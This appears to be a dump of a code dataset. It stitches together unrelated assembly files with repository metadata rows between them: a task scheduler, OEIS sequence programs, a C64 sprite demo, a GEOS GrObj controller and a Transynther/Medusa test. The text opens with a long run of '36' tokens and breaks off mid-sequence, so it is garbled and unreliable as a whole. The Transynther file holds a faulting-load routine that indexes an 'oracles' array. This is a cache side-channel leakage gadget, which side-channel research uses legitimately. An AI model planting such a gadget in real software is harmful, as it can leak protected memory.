36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 89.682927 | 2,999 | 0.663312 |
702b6f670e6a3960324faa6259eee0d1e236e77f | 2,462 | nasm | Assembly | sys/sched-exec/needy-spin.nasm | DerickEddington/cabna | d53305542a808aeb628db4cefdf6d1094e57559b | [
"Unlicense"
] | null | null | null | sys/sched-exec/needy-spin.nasm | DerickEddington/cabna | d53305542a808aeb628db4cefdf6d1094e57559b | [
"Unlicense"
] | null | null | null | sys/sched-exec/needy-spin.nasm | DerickEddington/cabna | d53305542a808aeb628db4cefdf6d1094e57559b | [
"Unlicense"
] | null | null | null | bits 64
default rel
%include "cabna/sys/conv.nasm"
global sched_task
global exec_avail
section .text
proc sched_task:
; Push a task in the thread's private executable-tasks stack; or if another
; thread needs a task, try to give the task to the needy thread. Argument in
; arg1_rdi, and return to ret_rsi.
; Used registers: rax, rsi, rdi.
stat add qword [tds_r15d + thread.sched_calls], 1
; Check if another thread needs a task.
mov eax, [needy]
test eax, eax
jnz .give
.in_mine:
mov rax, [tds_r15d + thread.executables]
mov [arg1_rdi + task.next], rax
mov [tds_r15d + thread.executables], arg1_rdi
%ifdef statistics_collection
add qword [tds_r15d + thread.sched_mine], 1
mov rax, [tds_r15d + thread.exec_s_size]
add rax, 1
mov [tds_r15d + thread.exec_s_size], rax
cmp rax, [tds_r15d + thread.exec_s_max]
jbe .not_max
mov [tds_r15d + thread.exec_s_max], rax
.not_max:
%endif
jmp_ind ret_rsi
.give:
xor eax, eax
xchg [needy], eax ; Locking automatically done for xchg.
test eax, eax
unlikely jz .in_mine
mov [eax + thread.gift], arg1_rdi
jmp_ind ret_rsi
proc exec_avail:
; Pop a task from the thread's private executable-tasks stack, or indicate
; that the thread needs a task and wait for one, then execute the task with
; cet_r14 set to the task.
; Used registers: rax, r14.
stat add qword [tds_r15d + thread.execute_calls], 1
mov cet_r14, [tds_r15d + thread.executables]
test cet_r14, cet_r14
jz .empty
; The next, which might be null, becomes the head.
mov rax, [cet_r14 + task.next]
mov [tds_r15d + thread.executables], rax
mov qword [cet_r14 + task.next], 0
stat sub qword [tds_r15d + thread.exec_s_size], 1
stat add qword [tds_r15d + thread.executed_mine], 1
; Execute the task's instructions. Tasks are responsible for giving control
; back to exec_evail.
jmp_ind [cet_r14 + task.exec]
.empty:
pause
mov eax, [needy]
test eax, eax
unlikely jnz .empty
lock cmpxchg [needy], tds_r15d
unlikely jne .empty
.wait:
pause
mov cet_r14, [tds_r15d + thread.gift]
test cet_r14, cet_r14
jz .wait
mov [tds_r15d + thread.gift], rax ; rax is null.
stat add qword [tds_r15d + thread.needy], 1
; Execute the task's instructions. Tasks are responsible for giving control
; back to exec_evail.
jmp_ind [cet_r14 + task.exec]
section .data align=128
; The global variable for indicating what thread needs a task.
needy: dd 0
| 23.226415 | 79 | 0.709992 |
2b971ff29655bd188d24e2a942c0ac75b891c564 | 314 | asm | Assembly | programs/oeis/082/A082109.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/082/A082109.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/082/A082109.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A082109: Third row of number array A082105.
; 1,13,33,61,97,141,193,253,321,397,481,573,673,781,897,1021,1153,1293,1441,1597,1761,1933,2113,2301,2497,2701,2913,3133,3361,3597,3841,4093,4353,4621,4897,5181,5473,5773,6081,6397,6721,7053,7393,7741,8097,8461
mov $1,1
add $1,$0
mul $1,2
pow $1,2
sub $1,3
mov $0,$1
| 31.4 | 210 | 0.726115 |
6b57e82e2ec902c796072255f883008b74abd981 | 2,843 | asm | Assembly | Asm4Kids/45joysticksprite.asm | jacmoe/c64adventures | c33854a4fa22bf5877ea7cc9a207bc0aebf2a4c7 | [
"BSD-2-Clause"
] | 17 | 2017-04-18T14:00:14.000Z | 2021-06-07T18:57:02.000Z | Asm4Kids/45joysticksprite.asm | jacmoe/c64adventures | c33854a4fa22bf5877ea7cc9a207bc0aebf2a4c7 | [
"BSD-2-Clause"
] | null | null | null | Asm4Kids/45joysticksprite.asm | jacmoe/c64adventures | c33854a4fa22bf5877ea7cc9a207bc0aebf2a4c7 | [
"BSD-2-Clause"
] | 3 | 2018-04-09T14:34:40.000Z | 2021-04-06T17:02:28.000Z | ;****************************************
;* *
;* Noisy space sprite *
;* *
;* *
;****************************************
; 10 SYS (49152)
*=$0801
BYTE $0E, $08, $0A, $00, $9E, $20, $28, $34, $39, $31, $35, $32, $29, $00, $00, $00
*=$c000
clear =$e544
jstick =$dc01
ofset =$c300
fire =$c302
ex =$c304
why =$c306
sprite0 =$7f8
enable =$d015
color0 =$d027
sp0x =$d000
sp0y =$d001
msbx =$d010
shouse =$0340
jsr clear
lda #$0d
sta sprite0
lda #1
sta enable
lda #2
sta color0
ldx #0
lda #$00
cleanup sta shouse,x
inx
cpx #64
bne cleanup
ldx #0
build lda data,x
sta shouse,x
inx
cpx #63
bne build
lda #0
sta msbx
lda #$ff
sta ofset
lda #16
sta fire
lda #40
sta ex ; starting x position of sprite
sta sp0x
lda #70
sta why ; starting y position of sprite
sta sp0y
; read the joystick
start lda jstick
eor ofset
cmp #1
beq up
cmp #2
beq down
cmp #4
beq left
cmp #8
beq right
cmp fire
beq end
ldx #0
pause inx
cpx #254
bne pause
jmp start
up dec why
ldy why
cpy #0 ; check for adjustment
beq down
jmp move
down inc why
ldy why
cpy #255
beq up
jmp move
left dec ex
ldx ex
cpx #0
beq right
jmp move
right inc ex
ldx ex
cpx #255
beq left
jmp move
end rts
; movement of sprite
move stx sp0x
sty sp0y
ldx #0
mpause inx
cpx #254
bne mpause
jmp start
; sprite data
data byte 0,0,0,0,0,0,0,0,0
byte 0,0,0,0,0,0,128,0,0
byte 224,0,0,252,0,0
byte 255,128,0
byte 255,240,28
byte 31,255,63
byte 63,255,63
byte 63,255,63
byte 31,255,240
byte 255,240,0
byte 255,128,0
byte 252,0,0
byte 224,0,0
byte 128,0,0
byte 0,0,0,0,0,0
| 22.385827 | 96 | 0.344003 |
b4b53cb8a1545dff24021e69a6cb1585e11e2f34 | 5,852 | asm | Assembly | Library/GrObj/UI/uiDefaultAttributesControl.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/GrObj/UI/uiDefaultAttributesControl.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/GrObj/UI/uiDefaultAttributesControl.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: uiDefaultAttributesControl.asm
AUTHOR: Jon Witort
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 24 feb 1992 Initial version.
DESCRIPTION:
Code for the GrObjDefaultAttributesControlClass
$Id: uiDefaultAttributesControl.asm,v 1.1 97/04/04 18:06:40 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjUIControllerCode segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjDefaultAttributesControlGetInfo --
MSG_GEN_CONTROL_GET_INFO for GrObjDefaultAttributesControlClass
DESCRIPTION: Return group
PASS:
*ds:si - instance data
es - segment of GrObjDefaultAttributesControlClass
ax - The message
cx:dx - GenControlBuildInfo structure to fill in
RETURN:
none
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
GrObjDefaultAttributesControlGetInfo method dynamic GrObjDefaultAttributesControlClass,
MSG_GEN_CONTROL_GET_INFO
mov si, offset GODAC_dupInfo
call CopyDupInfoCommon
ret
GrObjDefaultAttributesControlGetInfo endm
GODAC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
GODAC_IniFileKey, ; GCBI_initFileKey
GODAC_gcnList, ; GCBI_gcnList
length GODAC_gcnList, ; GCBI_gcnCount
GODAC_notifyList, ; GCBI_notificationList
length GODAC_notifyList, ; GCBI_notificationCount
GODACName, ; GCBI_controllerName
handle GrObjDefaultAttributesControlUI, ; GCBI_dupBlock
GODAC_childList, ; GCBI_childList
length GODAC_childList, ; GCBI_childCount
GODAC_featuresList, ; GCBI_featuresList
length GODAC_featuresList, ; GCBI_featuresCount
GODAC_DEFAULT_FEATURES, ; GCBI_defaultFeatures
handle GrObjDefaultAttributesToolControlUI, ; GCBI_dupBlock
GODAC_toolList, ; GCBI_childList
length GODAC_toolList, ; GCBI_childCount
GODAC_toolFeaturesList, ; GCBI_featuresList
length GODAC_toolFeaturesList, ; GCBI_featuresCount
GODAC_DEFAULT_TOOLBOX_FEATURES, ; GCBI_defaultFeatures
GODAC_helpContext> ; GCBI_helpContext
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP segment resource
endif
GODAC_helpContext char "dbGrObjDefAt", 0
GODAC_IniFileKey char "GrObjDefaultAttributes", 0
GODAC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, \
GAGCNLT_APP_TARGET_NOTIFY_GROBJ_BODY_SELECTION_STATE_CHANGE>
GODAC_notifyList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_GROBJ_BODY_SELECTION_STATE_CHANGE>
;---
GODAC_childList GenControlChildInfo \
<offset GrObjSetDefaultAttributesTrigger, mask GODACF_SET_DEFAULT_ATTRIBUTES, mask GCCF_IS_DIRECTLY_A_FEATURE>
GODAC_featuresList GenControlFeaturesInfo \
<offset GrObjSetDefaultAttributesTrigger, SetDefaultAttributesName, 0>
GODAC_toolList GenControlChildInfo \
<offset GrObjSetDefaultAttributesTool, mask GODACF_SET_DEFAULT_ATTRIBUTES, mask GCCF_IS_DIRECTLY_A_FEATURE>
GODAC_toolFeaturesList GenControlFeaturesInfo \
<offset GrObjSetDefaultAttributesTool, SetDefaultAttributesName, 0>
if FULL_EXECUTE_IN_PLACE
GrObjControlInfoXIP ends
endif
COMMENT @----------------------------------------------------------------------
MESSAGE: GrObjDefaultAttributesControlUpdateUI -- MSG_GEN_CONTROL_UPDATE_UI
for GrObjDefaultAttributesControlClass
DESCRIPTION: Handle notification of type change
PASS:
*ds:si - instance data
es - segment of GrObjDefaultAttributesControlClass
ax - MSG_GEN_CONTROL_UPDATE_UI
RETURN: nothing
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Set the UI enabled if exactly one object (not a group) is selected.
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11 feb 1992 Initial version
------------------------------------------------------------------------------@
GrObjDefaultAttributesControlUpdateUI method dynamic GrObjDefaultAttributesControlClass, MSG_GEN_CONTROL_UPDATE_UI
uses cx
.enter
mov cx, 1
mov ax, mask GODACF_SET_DEFAULT_ATTRIBUTES
mov si, offset GrObjSetDefaultAttributesTrigger
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
mov si, offset GrObjSetDefaultAttributesTool
call GrObjControlUpdateToolBasedOnNumSelectedAndToolboxFeatureSet
.leave
ret
GrObjDefaultAttributesControlUpdateUI endm
GrObjUIControllerCode ends
GrObjUIControllerActionCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjDefaultAttributesControlSetDefaultAttributes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: GrObjDefaultAttributesControl method for
MSG_GODAC_SET_DEFAULT_ATTRIBUTES
Called by:
Pass: *ds:si = GrObjDefaultAttributesControl object
ds:di = GrObjDefaultAttributesControl instance
Return: nothing
Destroyed: ax, bx, di
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 24, 1992 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjDefaultAttributesControlSetDefaultAttributes method dynamic GrObjDefaultAttributesControlClass, MSG_GODAC_SET_DEFAULT_ATTRIBUTES
.enter
mov ax, MSG_GO_MAKE_ATTRS_DEFAULT
call GrObjControlOutputActionRegsToGrObjs
.leave
ret
GrObjDefaultAttributesControlSetDefaultAttributes endm
GrObjUIControllerActionCode ends
| 27.603774 | 134 | 0.703349 |
3c42858d4756ee44cb276d93dd73bd615f8856b2 | 248 | asm | Assembly | programs/oeis/316/A316562.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/316/A316562.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/316/A316562.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A316562: Koechel number for the works of W. A. Mozart rounded from age 11.
; 16,40,64,89,113,138,162,186,211,235,260,284,308,333,357,382,406,430,455,479,504,528,552,577,601,626
mov $1,$0
mul $1,2
div $1,5
add $1,16
mov $2,$0
mul $2,24
add $1,$2
| 22.545455 | 101 | 0.677419 |
5f749b9d6fe1c462795e2c5d604d2451c55f670c | 485 | asm | Assembly | tasks/call_from_c/ret_int64.asm | yds12/x86-roadmap | 3476a1b9c3b479f63b5728a9da049fe297843171 | [
"MIT"
] | 15 | 2020-07-21T10:32:12.000Z | 2022-03-28T05:22:20.000Z | tasks/call_from_c/ret_int64.asm | yds12/x64-roadmap | 3476a1b9c3b479f63b5728a9da049fe297843171 | [
"MIT"
] | 1 | 2020-05-17T17:49:55.000Z | 2020-05-17T17:49:55.000Z | tasks/call_from_c/ret_int64.asm | yds12/x86-roadmap | 3476a1b9c3b479f63b5728a9da049fe297843171 | [
"MIT"
] | 4 | 2020-07-21T10:32:23.000Z | 2022-03-28T05:22:23.000Z | ; This program will be like a "library". It won't be a standalone executable,
; but will instead contain a function that can be called from other programs.
global asm_func ; first we declare that my_func will be accessible
; from outside: other programs will be able to call it.
section .text
asm_func:
mov rax, 10000000000 ; 10 billion (doesn't fit in a 32-bit int)
ret ; returns control to the caller (more on this later...)
| 40.416667 | 79 | 0.670103 |
5c9647c9c72ded22f59f8e8288af0db5ffc28e0e | 439 | asm | Assembly | programs/oeis/092/A092784.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/092/A092784.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/092/A092784.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A092784: [round(n*Pi)-round(2*n)].
; 1,2,3,5,6,7,8,9,10,11,13,14,15,16,17,18,19,21,22,23,24,25,26,27,29,30,31,32,33,34,35,37,38,39,40,41,42,43,45,46,47,48,49,50,51,53,54,55,56,57,58,59,61,62,63,64,65,66,67,68,70,71,72,73,74,75,76,78,79,80,81,82
mov $2,$0
trn $0,2
mov $3,2
lpb $0,1
mov $4,$3
trn $4,$0
sub $0,$4
trn $0,7
add $3,1
lpe
mov $1,$3
add $1,2
trn $3,$1
add $3,2
sub $1,$3
lpb $2,1
add $1,1
sub $2,1
lpe
sub $1,1
| 18.291667 | 209 | 0.578588 |
dc8b178d0be5b51a358e117853b6bd637a0e6e79 | 338 | asm | Assembly | programs/oeis/130/A130851.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/130/A130851.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/130/A130851.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A130851: Catalan numbers A000108(n) modulo 9.
; 1,1,2,5,5,6,6,6,8,2,2,7,4,4,0,0,0,6,6,6,3,3,3,0,0,0,8,2,2,4,1,1,3,3,3,1,7,7,2,5,5,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,3,3,3,0,0,0,3,3,3,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,8,2,2,4,1,1,3,3,3,7,4,4,5,8,8,0,0,0,3,3
seq $0,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!).
mod $0,9
| 56.333333 | 201 | 0.538462 |
665cba112bcda627567f9803ae4a2fd9f95f2b9b | 4,383 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2061.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2061.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2061.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rbp
push %rbx
push %rcx
push %rdx
push %rsi
lea addresses_normal_ht+0x15bff, %rsi
clflush (%rsi)
nop
nop
nop
and %r12, %r12
vmovups (%rsi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rbp
nop
inc %rbx
lea addresses_WT_ht+0x4054, %rdx
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r11
movq %r11, %xmm0
vmovups %ymm0, (%rdx)
nop
dec %r12
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
// Faulty Load
lea addresses_D+0x15844, %rdx
nop
nop
nop
nop
dec %r10
movb (%rdx), %bl
lea oracles, %r14
and $0xff, %rbx
shlq $12, %rbx
mov (%r14,%rbx,1), %rbx
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 55.481013 | 2,999 | 0.663244 |
817cedcbacd7b4d2e151b1d763530b6e151e7b87 | 369 | asm | Assembly | 4/4-2b.asm | winderica/GoodbyeASM | 6836c0e954f6295e92b9f4619195238bb6ad2f7d | [
"MIT"
] | null | null | null | 4/4-2b.asm | winderica/GoodbyeASM | 6836c0e954f6295e92b9f4619195238bb6ad2f7d | [
"MIT"
] | null | null | null | 4/4-2b.asm | winderica/GoodbyeASM | 6836c0e954f6295e92b9f4619195238bb6ad2f7d | [
"MIT"
] | null | null | null | .386
stack segment use16 stack
db 500 dup(0)
stack ends
code segment use16
start:
cli
xor ax, ax
mov ds, ax
mov ax, fs:[200h * 4]
cmp ax, 0
je exit
mov ds:[16h * 4], ax
mov ax, fs:[200h * 4 + 2]
mov ds:[16h * 4 + 2], ax
sti
exit:
mov ah, 4ch
int 21h
code ends
end start
| 13.178571 | 33 | 0.482385 |
1b6cbfebf6d57b7f9f0481ed9e6b82351587115a | 569 | asm | Assembly | programs/oeis/304/A304515.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/304/A304515.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/304/A304515.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A304515: a(n) = 159*2^n - 222 (n>=1).
; 96,414,1050,2322,4866,9954,20130,40482,81186,162594,325410,651042,1302306,2604834,5209890,10420002,20840226,41680674,83361570,166723362,333446946,666894114,1333788450,2667577122,5335154466,10670309154,21340618530,42681237282,85362474786,170724949794,341449899810,682899799842,1365799599906,2731599200034,5463198400290,10926396800802,21852793601826,43705587203874,87411174407970,174822348816162,349644697632546,699289395265314,1398578790530850,2797157581061922,5594315162124066
mov $1,2
pow $1,$0
sub $1,1
mul $1,318
add $1,96
| 63.222222 | 478 | 0.841828 |
3d242d7404e4d06731ff952a37953d3860b152b1 | 1,178 | asm | Assembly | programs/oeis/319/A319556.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/319/A319556.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/319/A319556.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A319556: a(n) gives the alternating sum of length n, starting at n: n - (n+1) + (n+2) - ... + (-1)^(n+1) * (2n-1).
; 1,-1,4,-2,7,-3,10,-4,13,-5,16,-6,19,-7,22,-8,25,-9,28,-10,31,-11,34,-12,37,-13,40,-14,43,-15,46,-16,49,-17,52,-18,55,-19,58,-20,61,-21,64,-22,67,-23,70,-24,73,-25,76,-26,79,-27,82,-28,85,-29,88,-30,91,-31,94,-32,97,-33,100,-34,103,-35,106,-36,109,-37,112,-38,115,-39,118,-40,121,-41,124,-42,127,-43,130,-44,133,-45,136,-46,139,-47,142,-48,145,-49,148,-50,151,-51,154,-52,157,-53,160,-54,163,-55,166,-56,169,-57,172,-58,175,-59,178,-60,181,-61,184,-62,187,-63,190,-64,193,-65,196,-66,199,-67,202,-68,205,-69,208,-70,211,-71,214,-72,217,-73,220,-74,223,-75,226,-76,229,-77,232,-78,235,-79,238,-80,241,-81,244,-82,247,-83,250,-84,253,-85,256,-86,259,-87,262,-88,265,-89,268,-90,271,-91,274,-92,277,-93,280,-94,283,-95,286,-96,289,-97,292,-98,295,-99,298,-100,301,-101,304,-102,307,-103,310,-104,313,-105,316,-106,319,-107,322,-108,325,-10